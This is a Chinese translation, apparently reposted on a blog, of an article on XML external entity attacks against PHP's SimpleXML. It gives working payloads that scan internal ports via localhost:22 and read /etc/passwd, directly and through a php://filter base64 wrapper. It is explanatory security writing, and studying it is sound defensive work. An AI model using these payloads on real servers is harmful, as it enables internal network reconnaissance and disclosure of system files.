[译]使用SimpleXML扫描内网

原文地址:https://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/
XML支持使用外部实体,从而允许你从外部资源获得信息。当你想要创建一个在XML文档中共享的参考时这将很有用--当你更新外部资源时,在所有的xml文档中也将自动更新。例如,当我们更新copyright.xml文件时,他将自动被放置到xml文档中
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [
  <!ELEMENT copyright (#PCDATA)>
  <!ENTITY c SYSTEM "http://www.xmlwriter.net/copyright.xml">
]>
<copyright>&c;</copyright>

SimpleXML SimpleXML允许我们将任何url-例如http://www.example.com/hsfsfa.xml引入到文档。问题是如果外部实体不是一个合法的入口点,那么它将不会被解析,然后php将会抛出错误。
Warning: simplexml_load_string(): php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Warning: simplexml_load_string(http://www.example.com/blahblahblah.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

问问题是PHP没有对可以访问的URL进行限制;解析器可以访问的的url都可以包含在xml中作为一个外部实体。即使allow_url_fopen被设置为false,那么也可能包含这些xml文件。而且还可以指定xml 解析器连接的端口:
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>

如果开启了PHP错误信息,那么你将得到访问的服务的旗标,即使该端口不支持HTTP协议。
Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
 in testxml.php on line 10

如果禁止错误信息,仍可以通过比较连接一个打开端口(例如80端口)的时间和一个关闭端口的时间来猜测。使用这种技术,可以扫描xml解析器可以到达的内网.

文件泄漏
事实上不仅可以包含远端url,而且可以包含本地文件通过使用file://,例如
<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<scan>&test;</scan>

如果返回结果,那么用户将会得到/etc/passwd的内容-前提是本地文件必须是合法的xml也就是说不可能包含二进制文件--但是,通过使用PHP过滤器,也可以将二进制文件编码为base64,然后返回:
<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

猜你喜欢

转载自j4s0nh4ck.iteye.com/blog/2153811
今日推荐